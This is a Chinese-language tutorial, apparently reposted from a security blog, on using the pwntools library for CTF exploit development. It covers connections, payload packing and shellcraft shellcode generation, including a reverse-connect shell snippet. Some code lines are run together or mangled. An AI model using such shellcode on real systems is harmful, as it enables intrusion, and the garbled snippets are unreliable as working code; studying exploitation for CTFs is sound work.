Pwntools
介绍
Pwntools,作为一款为漏洞利用开发和安全研究量身定制的Python库,在CTF竞赛中享有盛名。该库以其直观便捷的接口和多样的功能集而闻名,极大地提高了开发人员的效率,使得与目标系统或服务的交互更加迅速,加速了漏洞利用脚本的构建过程,从而加快了解决问题的速度。
使用Pwntools
在使用Pwntools时,首先需要在Python脚本中导入相关模块:
from pwn import *
设置基本信息:
为了确保pwntools能正常运行,需要设定靶机的基础信息,这包括指定架构类型。
指定文件架构
文件架构为32位,如果要指定为64位的只需要把i386改成amd64即可。
context.arch = "i386"
指定文件的系统类型
context.os = "Linux"
开启Debug调试
在开启Debug模式后,系统会激活调试功能,此时会详细输出发送的信息以及目标机器的响应内容。
context.log_level = True
简化方式:
context(os="Linux", arch="i386", log_level=True)
创建本地进程调试:
在进行远程连接操作前,先行在本地进行测试,确保可以顺利运行相关文件。
例如,"./xxx"即指当前目录下的xxx文件。
use_process_conn = process("./xxx")
连接远程目标机器:
可以通过remote函数或ssh模块来建立连接,具体方式依据目标机器的访问权限而定。
remote 函数
使用remote函数连接时,若远程主机通过特定IP地址和端口提供服务,可以这样操作:
use_remote_conn = remote("目标IP",目标端口)
ssh模块
如果通过SSH方式登录远程主机,则可利用ssh模块:
use_ssh_conn = ssh(user=root, host="目标IP", password="qwe123", port=22)
发送payload或字符串:
在发送payload或字符串时,有多种发送函数可供选择,包括send、sendline、sendafter、sendlineafter等,以适应不同场景需求。
send函数
使用send函数发送数据时,不会自动添加换行符:
conn.send(b"Hello World!")
sendline函数
sendline函数在发送数据时会在末尾自动添加一个换行符
conn.sendline(b"Hello World!")
sendafter函数
sendafter函数会在接收到目标返回的指定字符串后发送数据,不添加换行符
conn.sendafter(b"Enter your name: ", b"MyName")
sendlineafter 函数
sendlineafter函数与sendafter相似,但在发送数据时会自动添加换行符:
conn.sendlineafter(b"Password: ", b"123456")
接收信息
常用的接收功能包括recv、recvline、recvuntil、recvall等函数。
recv函数
recv函数负责接收指定字节数的数据
data = conn.recv(1024)
recvline函数
recvline函数能够接收一行数据直到遇到换行符n
line = conn.recvline()
recvuntil函数
recvuntil函数则在遇到指定的字节串时停止接收数据
data = conn.recvuntil(b"End of message")
recvall函数
recvall函数则是接收所有剩余的数据直到连接关闭
all_data = conn.recvall()
交互模式
interactive函数
interactive函数能够启动交互模式,实现与目标系统或服务的实时双向通信
调用方式为:
conn.interactive()
构造发送地址类型:
构造发送地址时可以使用p32、u32、p64、u64等函数。
p32
用于构造 32 位 地址(适用于 32 位程序)
将整数 0xfaceb00c 转换为 32 位字节流(小端字节序)
p32(0xdeadbeef)=>'xefxbexadxde'
u32
u32则是将字节流转换回32位整数,使用小端字节序。
如将字节流'xefxbexadxde'还原为32位整数
u32('xefxbexadxde')=> 0xdeadbeef
p64
用于构造 64 位 地址(适用于 64 位程序)
将整数 0xfaceb00c 转换为 64 位字节流(小端字节序)
p64(0xdeadbeef)=>'xefxbexadxdex00x00x00x00'
u64
u64函数则是将字节流转换回64位整数,同样采用小端字节序。
将字节流 'x0cxb0xcexfax00x00x00x00' 还原为 64 位整数
u64('xefxbexadxdex00x00x00x00')=>0xdeadbeef
flat 构造多个地址
flat
是 Pwntools 中一个极其实用的函数,用于将多个值组合成一个字节流。该函数常用于连接不同的地址或构造 Payload 的各个部分。
payload = flat([p32(0x08048430), p32(0x08048440), p32(0x08048450)])
发送 Payload
conn.sendline(payload)
生成shellcode后门:
Shellcraft 默认产生的是 32 位的 shellcode。生成 shellcode 时,必须指定目标文件的架构。
使用shellcraft生成shellcode
shellcode = asm(shellcraft.sh())
32 位shellcode,并转换为机器码
shellcode = shellcraft.i386.connect(ip, port)shellcode += shellcraft.i386.shellcode()print(asm(shellcode))
64 位shellcode,并转换为机器码
shellcode = shellcraft.amd64.connect(ip, port)shellcode += shellcraft.amd64.shellcode()print(asm(shellcode))
运行时调用gdb调试
通过 gdb.attach()
函数,能够将 GDB 附着到一个正在运行的进程上。
pid = conn.pidgdb.attach(pid, ''' break main continue ''')
ELF模块:
该模块能够用来快速获取 pwn 文件的 GOT(全局偏移表)地址和 PLT(过程链接表)地址,这对于分析 ELF 文件信息至关重要。使用 ELF() 函数来获取目标文件的句柄,并通过句柄调用相应函数,类似于 IO 模块的操作。
例子
获取 ELF 文件的基地址;根据符号名称获取函数的地址;获取函数的 GOT 地址;获取函数的 PLT 地址;和LibcSearcher库联动使用
elf = ELF('./pwn')elf.address # 文件装载的基地址 => 0x400000main_addr = elf.symbols['main'] # 获取函数地址 => 0x401680write_got = elf.got['write'] # 获取对应函数在GOT表的地址 => 0x60b070write_plt = elf.plt['write'] # 获取对应函数在PLT表的地址 => 0x401680
参考文章
https://www.cnblogs.com/XiDP0/p/18445564
红队全栈教学
OSCP+
泷羽freebuf帮会
原文始发于微信公众号(泷羽Sec-风宵):Pwntools --- 一款专为二进制漏洞开发利用的强大python库
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论